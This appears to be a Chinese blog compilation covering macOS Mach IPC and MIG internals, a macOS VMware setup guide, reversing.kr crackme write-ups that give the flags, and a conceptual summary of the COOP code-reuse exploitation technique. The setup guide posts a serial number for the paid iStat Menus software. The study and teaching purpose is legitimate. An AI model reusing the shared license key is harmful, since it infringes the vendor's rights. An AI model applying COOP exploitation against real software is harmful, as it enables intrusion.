size 字段:待发送内存长度。
deallocate 字段:发送内存页面后,指定发送者是否需要隐式释放已发送的内存页面(例如自动调用 vm_deallocate),通常是 false。
这个字段可以将 内存复制 转换成 内存移动,即将发送方的内存页移动到接收方的进程中,内存处理效率更高。
copy 字段:指定内核以什么方式来复制发送过来的内存页面。共有两种方式:
type 字段:指定当前 descriptor 的类型,这里必须为 MACH_MSG_OOL_DESCRIPTOR
接下来,sender 需要创建一个虚拟页面,并在该页面上写入一些数据:
1 | char *buf = NULL; |
然后设置 Message,并将其发送:
1 | // 注意这里,要指定待发送的信息格式为 complex |
当接收方接收这个 mach message 时,在接收方的地址空间中,内核将新分配一块内存用于存放接收到的数据。
原先有一个选项用于指定内核将接收到的数据覆盖至接收方指定的内存地址处(MACH_MSG_OVERWRITE),但这个选项已经被废弃。
以下是一个简单的代码示例,其中接收方使用 MACH_MSG_ALLOCATE
方式来接收数据:
1 |
|
测试结果:
接收方接收到的 Mach message 会包含一个 trailer 结构体。
1 | typedef struct |
其中,mach_msg_trailer_t
结构体中有如下几种字段:
1 | typedef struct{ |
第一个字段表示 trailer 的类型,第二个字段表示接下来 trailer 的个数。
对于 trailer 类型来说,目前 Mac OSX 对用户层来说只提供了一种格式,即MACH_MSG_TRAILER_FORMAT_0
:
1 | typedef unsigned int mach_msg_trailer_type_t; |
但是,该格式下有许多种 trailer 的类型,分别有:
mach_msg_trailer_t:一个空的 trailer,只包含了 type 和 size 字段。
mach_msg_seqno_trailer_t:在第1个结构体的内存布局基础之上,额外增添第3个字段
1 | typedef natural_t mach_port_seqno_t; /* sequence number */ |
sequence number,即消息序列号
mach_msg_security_trailer_t:在第2个结构体之上,额外增添第4个字段:
1 | typedef struct{ |
security token 的两个整数分别表示发送方的 UID 和 GID。
mach_msg_audit_trailer_t:在第3个结构体之上,额外增添第5个字段:
1 | /* |
audit token 中共有 8 个整型,该 token 需要使用其他处理例程来进行解释。
mach_msg_context_trailer_t:在第4个结构体之上,额外增添第6个字段
mach_msg_mac_trailer_t:在第5个结构体之上,额外增添第7个字段
mach_msg_max_trailer_t:在第6个结构体之上,额外增添第8个字段
可以看到,每一个 trailer 总是嵌套在下一个 trailer 之中,这有利于兼容。
接收者在接收 mach messag 时,必须显式指定 mach_msg 函数的 option 字段,以说明接收的 trailer 的类型为 FORMAT_0,同时指定接收 trailer 时终止接收的那个字段。请看下面这个例子:
1 | // 等待 message |
在这个例子中,option 设置了 MACH_RCV_TRAILER_ELEMENTS(MACH_RCV_TRAILER_SENDER)
,这个操作是为了指定接收 mach_msg_security_trailer_t 类型的 trailer,因为该类型的最后一个字段为 sender。
1 |
以下是一个简单的测试例子:
1 |
|
测试结果:
对于 task 结构体中,其内部存在一个 struct ipc_space *itk_space
的字段,以存放当前 task 所使用的 IPC 信息,其结构体定义如下:
1 | struct ipc_space { |
字段 is_table
指向一个元素类型为 struct ipc_entry
的数组,长度为 is_table_size
,通常用户层使用的 mach port name (整型表示)将会映射到内核层的该结构体。is_table
在创建时就会存放一些初始条目。
字段 is_bits
包含了较多的控制信息,例如引用计数、当前 ipc_space 是否激活(active) 以及当前 ipc_space是否正在增大内存空间(growing)。其中 growing 位是为了防止条件竞争所设定的一个简单比特。内核使用 ipc_space 时,如果发现当前 ipc_space 的 is_table 大小不够,则会尝试进行 grow 操作;但如果当前内核线程发现当前 ipc_space 正在被其他内核线程 growing 时,则会先休眠(is_write_sleep),直到其他线程完成处理后再来进行接下来的操作。
当某个 mach port 的 receive right 被释放了,则这个 mach port 便视为被释放了,若此时持有该 mach port 的引用为 0 ,则 is_table 中对应的 ipc_entry 结构体将被移动至 is_table_free 中,并且被释放的 mach port 的所有 right 都被更改为 MACH_PORT_RIGHT_DEAD_NAME,表示这些 right 全都 dead。
这种机制是为了,防止所接管的 port name 被过早的重用。
若当前的 ipc_space 需要创建一个新的 ipc_entry 时,首先 ipc_space 会尝试从 is_table_free 中取出最早被释放的 ipc_entry(即 is_table_free 为 FIFO)并重用;但若 is_table_free 为空,则将尝试 扩大(grow) ipc_space,并插入一个新的 ipc_entry 结构体。
需要注意的是,即便某个 mach port 的 receive right 已经被释放了,那么如果该 mach port 的引用不为 0 (此时 mach port 的各个 right 为 Dead name),则在下次分配 mach port 时,仍然不能重用该 mach port name。
用户层的 mach port name(整数表示)实际上对应至内核中 task->ipc_space->is_table
上的某个 ipc_entry 条目。而 ipc_entry 结构声明如下:
1 | struct ipc_entry { |
其中 ie_object
指针字段,实际指向的结构体有两种:ipc_port
、ipc_pset
。
ie_bits
标志位字段保存了给定 port name 所代表的 right 类型。
ipc_port 结构体,对应于单个 mach port。该结构体记录了 Mach message 队列、mach port 的接收方和发送方 port、内核存储的相关数据等等。这些字段不一一解释,有用到再说。
1 | struct ipc_port { |
ipc_pset 结构体,对应于多个 mach port 的集合。以下是其声明:
1 | struct ipc_pset { |
注意到上面这两个结构体的第一个字段都是
struct ipc_object
字段。因此当 ipc_entry 中的 ie_object 指针指向这两个结构体中的 ipc_object 结构体字段时,这种指向关系也等价于直接指向这两个结构体的基地址。
注:这一节较为重要。
在用户层调用 mach API 时,我们经常会看到 mach_port_t
与 mach_port_name_t
类型,并很容易将这些类型混淆(至少我学 mach 的时候经常混)。
引起混淆的原因很简单
mach_port_t
类型的值直接作为 mach_port_name_t
类型的函数参数。mach_port_t
类型的参数,偏偏参数名为 name
。虽然这两个类型在用户层中表示的值是相同的,但实际上在内核里有着非常明显的不同。
对于端口名称 (port name, aka mach_port_name_t) 来说,port name 只是表示特定于某个 task 的 port,并且不携带任何关于该 port 的 right 相关信息。
而对于 端口 (port, aka mach_port_t) 来说,它表示的是可以添加或删除某些端口权限的一个引用。当内核返回这样的一个引用给用户层时,用户层所获取到的是这个引用的 name,即 port name。这就是为什么用户层中,内核返回的 mach_port_name_t 和 mach_port_t 类型的变量都是同一个整型值。
正常来说,对于某个 mach port 来说,引用不同 right 的 name 是互不相同的。但也有例外,下文中有说明。
但需要注意的是 ,mach_port_t 类型在内核中,确确实实映射了一个 ipc_port 类型的结构体,其中该结构体内含 port right 的相关数据。但 mach_port_name_t 只是 mach port 的一个整数表示形式,没有映射任何 ipc_port 类型的结构体,因此就没有关于该 mach port 的 right 信息。
同时还有一点需要注意:对于某一个特定 mach port(即引用了相同的 ipc_port 结构体) ,如果该端口有多个 right,例如同时拥有 send right 和 receiver right。那么这些 right 的 name 将合并成一个 name,即一个 name 可以同时代表目标 mach port 的 send right 和 receiver right。但是,send once right 所对应的 name 总是唯一的命令,即总是会有一个独立的 name 来指代这个 mach port 的 send right。
当这两个类型被很好的区分开后,mach_port_t、mach_port_name_t、mach port right 以及 mach port 之间的关系就能很好的区分开了,对理解 mach IPC 有着非常多的帮助。这里先完整概括一下 port、right 以及 name 之间的关系:
我们常常说的 mach port,指代的是内核中的 ipc_port 结构体,我们可以向这个 mach port 发送信息以及接收信息。
一个 mach port 在一些 task 中可能存在一些 rights,这些 rights 指定了当前 task 对该 mach port 的一些权限,例如接收信息,发送信息权限等等。这些在当前 task 中存在权限的 mach port ,一定在当前 task 的 ipc_space 中存在一个 ipc_port 结构体。
因此,mach_port_t
类型在内核(注意不是用户层)中就指代了一个在当前 task 中的 mach port 的一个 right 引用。
注意
mach_port_t
类型在内核中不是直接代表一个 mach port,是不是觉得很绕?
而 mach_port_name_t
类型在内核层和用户层中只是表示了一个 mach port,并没有涉及任何 right,也就更别说是 right 的引用了。
当内核返回给用户层一个 mach_port_t
类型引用时,与内核不同,这里用户层接收到的值的实质是对应该 right 的 name。即在用户层中, mach_port_t 类型的值表示的是对某个 mach port 对应的 right 的 name(注意此时并非直接引用 right)。因此 mach_port_t
类型的值和 mach_port_name_t
类型的值会是相同的。
承接刚刚说的,正常来讲一个 mach_port_t 类型的值在用户层中会是某个 mach port 中一个 right 的 name。
但是,如果某个 mach_port_t 已经表示了某个 mach port 的 send right name,那么当用户请求一个表示了某个 mach port 的 receive right name(注意两个 right 是不同类型的)。那么这次请求将重用之前的 send right name,也就是说最后这个 port 既表示 send right name 又表示 receive right name。
这种机制称为名称合并,即不同类型的 right 的 name 将可以合并为一个 name ,并指定多个 right。但需要注意的是 send-once right name无法被合并。
例如两个 mach_port_t 类型分别表示引用某个 mach port 的 send right 和 send-once right 的 name,那么此时这两个 mach_port_t 类型的变量将是不同值。
作用:返回指定 task 相关的 port namespace 信息。
函数定义如下:
1 | kern_return_t mach_port_names |
其中,
task
:待查阅的 task port,查阅者必须拥有目标 task 的 mach port send right。names
:存放查询结果的 mach_port_name_t
数组namesCnt
:names 数组中的元素个数types
:存放对于 names 数组中每个对应 name 的 right 类型的数组。typesCnt
:types 数组中的元素个数。可以肯定的是,namesCnt 应该等于 typesCnt。
而这个接口返回两个单独的 Cnt 是因为这是 Mach Interface Generator 的产物。‘
需要注意的是,names 和 types 的缓冲区将会被自动创建,因此在使用完成后需要及时调用 vm_deallocate 释放。
作用:查询指定 port 的相关信息。
函数定义:
1 | kern_return_t mach_port_get_attributes |
其中,参数说明如下:
task
:持有待查询 port 的 task
name
:待查询 port 的 name
flavor
:所查询的信息类型
查询的信息类型有两种,分别是:
port_info
:一个指向存放查询结果的缓冲区的指针
port_info_count
:缓冲区最大可存放结果的数量。函数返回时该值将会被修改为实际返回的查询结果个数。
以下是组合使用上面两个函数的一个简单示例:
1 |
|
示例效果:
当某个 mach port 被销毁后,其他 task 所持有的 right 都将转变为 dead name,因此当发送信息时,发送者可以得知目标 mach port 被销毁。
但如果发送者希望目标 mach port 在被销毁时能立即通知发送者,而不是等到发送者发送数据时才得知,那么这就是 mach_port_request_notification
函数的作用。该函数指定目标 mach port 的事件请求通知。以下是该函数的声明:
1 | kern_return_t mach_port_request_notification |
具体参数暂不说明,等实际应用到了再来补充。
注:ipc_right_lookup_write 是该函数的 Wrapper;而 ipc_right_lookup_read 又是 ipc_right_lookup_write 的宏。
功能:在当前 task 的 IPC space 结构体中,根据传入的用户层 mach port name,获取到内核中对应的 ipc_entry_t 结构。
先上代码:
1 | ipc_entry_t |
在 ipc_entry_lookup 函数中,我们可以看到,mach_port_name_t (aka unsigned int) 被分为了2个部分,分别是 MACH_PORT_INDEX 与 MACH_PORT_GEN。组装方式如下所示:
1 |
|
其中,
task->ipc_space->is_table
中充当索引作用,有点类似于文件描述符。还有个需要注意的地方是,在 mach_port_name_t 中,其32位数据的用途划分如下:
1 | +--------------------+-----+ |
但在 ipc_entry 结构体中的 ie_bits 字段,其32位数据用途如下所示:
1 | +-----+-----+------+----------------+ |
先简单了解一下函数命名规则:
- xxx_copyin:发送方调用
- xxx_copyout:接收方调用
ipc_right_copyin 会根据传入的 msgt_name (mach_msg_type_name_t) ,对目标 ipc_entry_t 中的 ipc_port 结构体上的某些字段进行修改操作,并返回对应的 ipc_port 结构体指针给上层调用者。
回顾一下上面 ipc_port 结构体的字段,该函数主要会对这三个字段进行增加操作:
还有些其他的我没贴上来。
1 | mach_port_mscount_t ip_mscount; // make send 的次数 |
该函数涉及到 mach port 的权限操作。port right 类型主要有以下几种:
1 |
这个函数我们暂时不用深入了解,只需知道该函数除了做一些 right 处理以外,还会将 ipc_entry 中的 ipc_port 结构体返回给调用者即可。
功能:在内核空间中,根据用户传入的 task port name (一串数字表示的值),获取所实际引用的 task 结构体指针。
代码如下:
1 | task_t |
该函数内部会将 task port name 传入 ipc_object_copyin 函数中,获取其对应的 task port 的 ipc_port 结构体。之后,在 convert_port_to_task 中,将 task port 对应的 ipc_port 结构体中的 ip_kobject 字段的值取出,并作为 目标 task 结构体指针。
mach_msg 是用户用于发送和接受 mach message 的 API。
上个完整的流程图:
mach_msg_overwrite_trap 是 mach msg 发送与接收消息的实际内核处理函数。该函数的实现分为两部分,分别是发送消息和接收消息:
1 | mach_msg_return_t |
ipc_kmsg_t
结构体即待发送的内核消息,结构体如下:
1 | struct ipc_kmsg { |
该结构体中包含了较多字段,其中存在一个指向待发送 Mach message 的指针。
受限于知识储备,内核中的具体细节留待更进一步的分析。
一说到 Mach IPC 后,一个不得不提到的东西便是 MIG(Mach Interface Generator)。但这里我们不过多了解 MIG 中非常具体的使用方式与编写语法,只简单了解一下它的功能与意义等等。
通过上面的例子我们可以知道,Mach IPC 可以用与 **RPC(远程过程调用)**中。通俗的讲,它可以做到:当 Client ”调用“ 某个远程方法时,Server 将从 Mach IPC 中收到信息并实际执行该方法,最后将调用结果再通过 Mach IPC 返回给 Client,以实现 Client 的透明调用。
那么如果 Client 需要调用的方法很多,那对于开发者而言,除了需要完成方法的实际实现以外,他们还得手工完成 Mach IPC 之间的信息处理与分发等等重复乏味且机械的工作,开发效率极低。
因此, MIG 的使用可以帮助我们完成后者,解放生产力,让开发人员更关注于方法的实现。
MIG 可以从用户编写的 RPC 规范文件(.defs 文件)中,生成出 CS 架构的代码。这些代码将自动完成 Mach Message 的准备、发送、接收、解包等等功能。同时由于代码是自动生成的,因此可以提高代码一致性,降低代码发生错误的可能。
MIG 将会生成三个文件,分别是
以下是一个示例:
这部分我们将简单了解一下如何使用 MIG 创建一个简单的 CS 程序。
在这个 CS 架构项目中,Server 程序会提供两个接口 :
string_length
:获取传入字符串的长度factorial
:计算传入数字的阶乘该示例来自于:*OS Internal Vol 1
首先,给出 Client 和 Server 的杂项公共头文件:
1 | // misc_types.h |
在这个头文件中,定义了两个类型 input_string_t
和 xput_number_t
,并声明了一些函数。
在这些函数中,有两个是目标接口声明,另外3个是 MIG 生成的代码内部会调用到的,一会再说明。
其中的 msg_misc_t
结构体声明只用于 Server 调用 mach_msg_server 函数时指定最大 message 长度,不会实际实例化该结构体。
之后,再给出 defs 文件:
defs 文件中的一些符号说明,已经以注释的形式写入 defs 中,下面不再赘述。
1 | /* |
更多 MIG defs 语法可以参照 Using Mach Messages - NeXTstep 3.3 Developer Documentation。
Server 源程序:
1 | // server.c |
Server 端要做的事情稍微多一点:
程序执行时,Server 将 server port 注册进 bootstrap 中。
初次之外,Server 还执行 mach_msg_server
函数,使当前进程一直循环处理 Mach Message。
mach_msg_server 函数的第一个参数指定了 MIG 生成的 misc_server
处理例程,该例程会根据传进的 Mach Message 执行指定的接口。
Server 端实现了两个接口的具体实现。当 Server 接收到 Client 端发来的信息时,这两个方法将在 miscServer.c 中被调用。
除此之外,Server 还实现了其他 MIG 中会调用的函数。
Client 源程序:
1 | // client.c |
Client 源码较短,只做了两件事:
向 bootstrap 查询 Server 注册的 server port
向 server port 调用 string_length
和 factorial
方法,需要注意到这两个方法的第一个参数均为 mach_port_t
类型,且方法的实现位于 miscUser.c
为什么这两个方法的实现位于 miscUser.c 中而不是 server.c 中?
因为对于 Client 端来说,两个方法的实际实现不归 Client 端来管,miscUser.c 中的两个同名函数最终会执行 mach IPC 向 Server 发起请求。
使用以下命令编译并运行:
1 | # 终端1 |
这是所有源文件的关联图:
运行结果:
这是 Client 和 Server 的关系:
这里记录了我在 Win10 VMware workstation 上配置 macOS 虚拟机所踩过的坑点。
首先,下载 VMware 解锁 MacOS 选项的补丁。
“解锁 MacOS” 的这个说法其实个人感觉不是特别直接。
这个补丁的用途是让 VMware 额外支持 MacOS。
1 | git clone git@github.com:BDisp/unlocker.git |
之后,去任务管理器中,强制退出所有 VMware 开头的进程,防止补丁失败:
之后管理员执行 win-install.cmd
。执行时脚本会去 vmware 官网上下载一些东西,时间取决于网络条件。
执行完成后,重启电脑或手动去 服务 底下打开 VMware NAT Service 和 VMware VMnet DHCP service 服务,否则虚拟机将无法连接网络。
坑点:之前忘记重启网络服务了…
接着,去 Vmware 上新建虚拟机,并指定光盘映像文件为下载下来的 ISO/CDR 文件:
然后选择 Apple Mac OS X
,并一路 next 下去。磁盘大小建议 至少分配70GB。
如果此时 VMware 里没有这个选项,则说明安装 VMware 补丁失败,需要重新安装最新版的补丁。
虚拟机建立好后,启动虚拟机。在磁盘工具处:
将 Vmware 磁盘抹掉(格式化),不然安装 macOS 时将无法访问到 VMware 磁盘:
抹掉时改个磁盘名称就可以,其他的都不用动:
格式化磁盘后,在上方 实用工具->终端:
键入 csrutil disable
禁用系统完整性保护:
因为系统完整性保护会限制 root 权限的行为。
之后键入 csrutil authenticated-root disable
以关闭 Authenticated-root 保护。该保护会使得 MacOS 在引导期间,将一个被加密签名后的只读根文件系统快照挂载进根目录,因此我们需要禁用它以便于修改根路径或系统路径下的文件等。
如果还是不行,则在 MacOS 安装完成后,执行
sudo mount -uw /
试试,注意该指令只在本次开机时有效,下次开机需要重新设置。
接下来照常安装 MacOS 即可。
MacOS 安装完成后。不要马上启动!不要马上启动!不要马上启动!
要先在该 MacOS 的 vmx 文件末尾追加 smc.version = 0
,防止虚拟机出现错误。
追加完成后再启动。
启动新安装的 MacOS,之后一定要立即升级当前安装的 MacOS 系统(12GB左右)。因为 Apple 对远古版本的 MacOS 支持性非常低,就连安装软件都会有限制。
一定要在完成 MacOS 系统升级后,再去装各类软件以及 IDE 等等。
最好先安装当前远古版本 MacOS 系统的一些补丁,再去升级 MacOS 系统,不然可能有一定概率会升级失败。
我这边更新到的版本是
macOS Monterey 12.0.1
。
vmtools。右键虚拟机并点击 安装 Vmware Tools,然后根据步骤一步步来就好。
AppStore 上安装
下载 iStat Menus6。这是 MacOS 上的一个系统监测软件,需要付费,可用序列号如下:
1 | Email: 982092332@qq.com |
安装homebrew 包管理器
安装 homebrew 时需要多次输入密码,切记别走开。
1 | # 安装 homebrew |
如果发现 brew 安装有问题,无法搜索到任何软件包,则尝试运行
brew doctor
命令获取解决方案。
设置双拼自然码方案。进入 设置->键盘->输入法,选择简体双拼,并在终端键入以下命令以启动自然码方案:
1 | defaults write com.apple.inputmethod.CoreChineseEngineFramework shuangpinLayout 5 |
安装 VSCode for macOS。下载后将其拖入应用程序文件夹下。
安装 proxychain
1 | brew install proxychains-ng |
配置 git。
1 | ssh-keygen |
安装 ohmyzsh。
1 | brew install wget |
之后安装常用插件
autojump
执行以下命令下载:
1 | git clone git://github.com/joelthelion/autojump.git |
之后 nano ~/.zshrc
,将以下内容添加至文件末尾:
1 | [[ -s /Users/kiprey/.autojump/etc/profile.d/autojump.sh ]] && source /Users/kiprey/.autojump/etc/profile.d/autojump.sh |
然后将 autojump
添加进 .zshrc
中的 plugin 字段中:
1 | # Which plugins would you like to load? |
zsh-autosuggestions 与 zsh-syntax-highlighting
下载:
1 | git clone git://github.com/zsh-users/zsh-autosuggestions $ZSH_CUSTOM/plugins/zsh-autosuggestions |
将 zsh-autosuggestions
和 zsh-syntax-highlighting
添加进 .zshrc
中的 plugin 字段中:
1 | plugins=(git autojump zsh-autosuggestions zsh-syntax-highlighting) |
插件安装完成后,最后执行 source ~/.zshrc
重新载入新的 zsh 配置以启动插件。
安装 ShadowSocksR。下载地址:shadowsocksX-NG-R - github,支持订阅地址。
如果发现 MacOS 磁盘大小不够,需要扩容一下虚拟磁盘,则按照以下步骤进行:
先去 Vmware 那里扩容一下磁盘
在 MacOS 中,执行 diskutil list
查看当前磁盘情况:
其中,disk0 为整个磁盘,而 disk0s2 分区即 MacOS 此时使用的空间,因此我们需要扩容 disk0s2。
尝试扩展磁盘。
网络上都使用的是这个命令:
1 | diskutil resizeVolume disk0s2 50GB |
其中 disk0s2 为待扩容磁盘,50GB 为目标扩容大小。
但是由于本人的 disk0s2 为 Apple_APFS
类型,因此上述命令不可使用。
需要使用以下命令:
1 | diskutil apfs resizeContainer disk0s2 70GB |
之后就开始扩容:
扩容成功
MacOS 中的系统完整性保护(SIP),会限制住 root 用户的权限,因此需要将其关闭。
见过用 root 权限 lldb attach 其他进程时,被拒绝的快乐嘛…
最简单的关闭方式,莫过于上面在一开始安装时就将其关闭。
但要是当时安装时忘记关闭,那么现在去关闭 SIP 就会稍微折腾一点…
设置虚拟机 CD/DVD 路径为原先的 MacOS 安装镜像:
之后,进入虚拟机 BIOS
选择以 CD 为启动盘:
之后在启动后的界面,进入 实用工具->终端 下,键入 csrutil disable
命令并重启虚拟机,即可关闭 SIP。
这里将记录一些笔者学习 reversing.kr 中的逆向题所留下的笔记。
这篇笔记所记录的题目分值为 100-120。
IDA 32 位打开,通过交叉引用:
至
很容易找到目标函数,并定位关键判断语句:
因此可以很容易得出 flag 为: Ea5yR3versing
下下来一个压缩包,ReadMe.txt 中写道:
1 | Find the Name when the Serial is 5B134977135E7D13 |
同时打开程序,窗口提示输入 name:
看来这题应该是要我们根据 Serial 来反推输入的 Name。
IDA 打开,发现一个简易的映射算法:
于是我们可以根据该算法来编写一个简易的解密算法:
1 |
|
解出 flag:K3yg3nm3
确实很 Easy。程序首先会读取一个字符串,之后对字符串进行以下判断:
将该判断逆向一下,就可得到 flag:L1NUX
看上去这是一个需要脱壳的程序,但根据 IDA 反编译结果来看,应该是一个压缩壳。直接从 main 函数的反汇编列表往下拉到最底下,最后的那个 jmp 指令跳转的位置就是 OEP。
跳转前:
跳转后(该部分代码是 _start 函数的反汇编代码):
因此 OEP 为 00401150
,而这也正是要提交的 flag。
首先查看 WinMain 逻辑:
我们可以很容易的找到事件处理例程,并通过字符串交叉对比,找到真正的校验位置:
位图大小为 200 x 150
,若有 90000 个像素相同则正确。而 *v13
和 v13[v14]
应该指向的是两块不同的位图,要是能dump下来看看,估计就能看出结果。
位图大小总像素点个数:200x150x3 = 90000,RGB 格式。
别的也看不出什么了,在调试时先随手画个 A 留个标记,之后尝试用 ida dump 内存出来看看。
dump 脚本:
1 | import idaapi |
用 Python 处理一下 dump 出来的内存:
1 | #! python3 |
v13 对应的图像如下:
可以看到刚好 dump 出来的图片是上下倒置的。
接着我们就如法炮制,将 v13[v14]
的图片也 dump 出来:
即 flag 为 GOT
。
压缩包解压,根据 readme 的描述,可以看到要求我们解密 file 文件。
把目标文件拖到 Exeinfo 里一看,加了个 UPX压缩壳:
s
因此直接用脱壳机脱壳:
之后用 IDA 打开看看:
可以发现在 main 函数中存在超大量无用指令,使得 IDA 无法进行反汇编,提高分析难度,因此我们需要尝试去掉这些指令:
1 | data = None |
而且在 sub_401000
函数中,整个函数体全部充斥着这类指令,即该函数是一个空函数体。为了防止混淆,我们将 sub_401000
函数名称修改为 nop_func
。
接着非常悲剧的发现,main 函数还是因为函数太大无法被反汇编…
莫得办法了,只能将函数头的
1 | UPX0:004135E0 55 push ebp |
移动到末尾:
然后修改一下函数的起始位置:
之后就可以照常反编译了,以下是经过简化的反汇编代码。
不过需要注意的是,这里修改函数的起始地址,指的是IDA 静态分析的起始地址。实际上函数调用 main 时仍然会跳转回原先的地址。
1 | int __cdecl main(int argc, const char **argv, const char **envp) |
最核心的就是这部分加密算法:
1 | // v6 为文件数据长度 |
而 readme.txt 的描述是这样的:Decrypt File (EXE)
。也就是说那个 file 文件实际上就是加密后的 exe 文件。
在已有明文、密文并了解加密算法的情况下,我们便可以很容易的将密钥解出来。需要注意的是这里选取的是两个 exe 文件(一个加密前一个加密后)的前30 字节,因为应该所有 exe 文件的前30个字节都相同。
以下是暴力枚举密钥的算法:
1 | #include <iostream> |
输出密钥为 letsplaychess
:
因此再解密一下 file 文件:
1 |
|
解出一个 flag.exe
,运行下看看:
晕,从别处拷了一些 DLL 过来,终于解出来了…
flag为 Colle System
。
程序打开后没有任何可交互部分。拖进 IDA 发现是个 .NET
程序,直接用 dnSpy x86 打开(不得不说 dnSpy 的界面是真的好看):
简单通读了一下代码,该窗口有 10 个 Label 和 1 个 Button,当 Button 被按下后,这10个 label 将显示出对应的文字(应该是 flag)。但问题是, Button 的 size 为 (0,0),因此正常情况下我们无法点击该 Button。
不过我们可以尝试修改这个 IL:
这两个值改大一点,然后 File -> Save Module
:
重新打开被 patch 后的程序,并点击按钮,即可出现 flag:
flag 为 P4W6RP6SES
。
现阶段,ROP (面向返回的编程技术) 已经成为了一种非常流行的利用手法,同时现在也存在各种方式来保护程序免受 ROP 工具,例如 shadow stack 技术。而这篇 2015 年的论文向我们展示了一种新的利用手法,称为面向伪对象编程(COOP),即只通过程序中现有虚函数链以及 callsite 来进行恶意攻击。该攻击方式是图灵完备的,即可以执行任何操作,包括条件分支等。
同时,COOP 技术也可以绕过那些 不精确考虑C++面向对象语义 的防御手段。它并不针对与某一类语言(例如 C++),因此自然无法防护 COOP 技术。
该攻击手法基于 C++ 虚函数的一些特性:
C++ 编译器通过 vtable 虚函数表来实现对 vcall 虚函数 的访问
其中 vtable 是指向类的所有可能继承继承的虚函数的指针数组。
根据逆向结果来看, vtable 通常位于 .rodata 段上。
对于包含虚函数的类来说,其对象内存开始处(即偏移量为0)包含一个指向 vtable 的指针。
对于常规代码重用攻击,例如 ROP,其攻击手法包含一项或多项特性:
C-1:间接调用或跳转至非 address-taken 的位置。
非 address-taken位置,个人认为应该是那些不使用函数指针而执行到的代码位置,例如各类 gadgets。
即虚函数是 address-taken 的。
C-2:从函数返回时,不符合调用堆栈
C-3:过度使用间接分支
C-4:劫持堆栈指针
C-5:注入新代码或者操作现有代码
由于常规的攻击包含了这些特性,因此这类攻击,将会被那些低级且与语言无关的保护手法所检测出。
故 COOP 所定义的目标如下所示:
COOP 攻击的实施,要求攻击者
在说明攻击方法之前,先给出以下几个定义
initial object (下称初始对象):目标程序中被劫持的 C++ 对象,一切攻击从这里开始。
counterfeit objects(下称伪造对象): 携带攻击者所选择的 vptr 和一些精心构建的数据字段,并被攻击者批量注入进可控内存中。正如名字所示,这个“对象“是攻击者手动伪造的。
Vfgadgets:COOP 攻击中将会使用到的虚函数。vfgadgets 的类型如下表所示:
大体的定义已经在上面给出,接下来将详细说明攻击方式:
首先,为了重复调用虚函数,COOP 攻击需要依赖 ML-G 类型的 vfgadget(即上面列表中的第一个条目)
ML-G:可以理解成攻击的事件循环。它将遍历一个指向伪造对象的指针数组,并依次调用其中的虚函数。
这类 vfgadgets 在 C++ 应用程序中非常常见。
如该图所示,图中的 Course::~Course
虚函数,即为ML-G 类型的 vfgadget。
接下来,攻击者将初始对象的内存,布局为类似 ML-G 的类的对象(例子中的目标对象为 Course)。
其中,初始对象中的 vptr,被攻击者修改为 Course 类的原始 vptr 相对偏移一点的地址。这是为了使得初始对象接下来的第一个虚函数调用,可以调用至目标的虚函数(即可调用至 ML-G vfgadgets)。
注意,图中左边那块内存,是攻击者完全可控的。即攻击者在可控的内存内构建了一个完整的 Course 类对象,包括其内部成员的指针数组。
同时,字段 stutdents 指针数组所指向的各个 object,即为伪造对象,其 vptr 均可控。
还需要注意的是,由于伪造对象是攻击者自己伪造的,因此实际上伪造对象可以不是同一种类型,例如一种伪造对象是 string 类型,另一种伪造对象是 Student 类型。
修改伪造对象的 vptr。由于伪造对象在被 ML-G 调用时,其调用目标可能不是攻击者所期望的 vfgadgets(例如Fig 1 中调用的是 Student::decCourseCount 函数),因此攻击者需要修改伪造对象的 vptr 指针,使得当伪造对象在虚函数调用点被调用时,可以调用到目标 vfgadget。
这里的修改可以从原先的 vtable 地址(例如 Student 的 vtable 地址)相对的前后偏移一点位置,使得此时的 vptr 指针指向了原先 vtable 地址向后一点的函数位置。
当上述三个步骤完成后,我们便可以通过操纵 伪造对象的 vptr,搭配 ML-G 类型的 vfgadget,来进行任意数量的 vfgadgets 调用。
覆盖伪造对象。先上两张图,首先是给出的两个目标类的内存布局以及其目的 vfgadgets:
这里会用到两个 vfgadgets,分别是:
注意到上面标注的粗体内容,一个是写入数据,一个是读取数据。因此攻击者可以精心将两个对象的内存重叠,使得 W-G 中使用的 length 刚好是 ARITH-G 所计算出的结果,这样就可以造成越界写入。
以下是构建的内存布局,注意 ARITH-G gadget 会把计算出的结果写入至 SimpleString 类型的 len 字段中:
此时可能会有疑问,这里的 SimpleString 和 Exam 类会在哪里被使用呢?
实际上,攻击者将会精心构建这两个类的类对象,以作为 ML-G 类中的 伪造对象,被 ML-G vfgadget 调用其虚函数。
综上,基本的攻击方法如上所示。其攻击过程可以看成 单个 vcall -> 多个 vcall -> OOB。需要注意的是,基本攻击手法没能传递任何参数给vfgadget。
参数传递的方式,取决于函数调用约定。
该操作要求 ML-G 不修改参数传递寄存器(包括不能传递参数给 vfgadget)。
例如 thiscall 调用约定,this 指针通过 ecx 寄存器传递,其他参数通过栈传递。
该情况的参数传递依赖于 ML-G 主循环。ML-G 应该将初始对象的某个字段作为参数(将传递参数的 ML-G 称为 ML-ARG-G)传入给每个 vfgadget。之后,攻击者可以使用以下方法来将目的参数传递给目标 vfgadget:
传递的参数是一个指针,指向一个临时可写内存。这样 vfgadgets 可以通过读写这块内存来传递参数,例如以下示例:
图中 ML-G Course2::~Course2
vfgadget 传递了一个参数id
给其他 vfgadget。而在Student2::getLatestExam
方法中,实际上将参数视为一个指针,因为引用的本质是指针。在该函数中,控制流动态的修改了参数所指向的内存。这样当下一个 vfgadget 获取到参数后,它便能读取上一个 vfgadget 所保留的信息。
动态重写参数。论文里说明该方法允许攻击者将任意参数传递给 vfgadgets,但该方法需要一个可用的 W-G 类型的 vfgadget。
该方法暂时存疑,因为私以为该方法和第一个方法有异曲同工之处。
参数传递正常来说是按值传递,因此按理来说重写本地参数副本将无法影响到其他 vfgadgets 所获取到的参数值。
而在这类 vfgadget 中,单独使用某个字段的较为少见,因此参数传递大多还是使用第一个方法。
先上张图:
COOP 攻击可以使用以下三种方法尝试调用 WinAPI 函数:
使用一个正常调用 WinAPI 的 vfgadget。
缺点:大多情况下不可行。
在 ML-G 中像调用 vfgadget 一样调用 WinAPI。
优点:易于实现。例如让 vptr 指向诸如 GOT、IAT、EAT 等表。
缺点:
COOP 攻击是图灵完备的,因此这里需要说明一下 COOP 攻击如何实现分支和跳转功能。
注意到 ML-G 使用索引来遍历伪造对象。(例如 for 循环上的 int 类型索引,或者容器迭代器)。
COOP 攻击可以通过使用 W-COND-G vfgadget 来在满足某些条件的情况下,重写 ML-G 的索引,或者修改下一个待遍历的伪对象的指针。
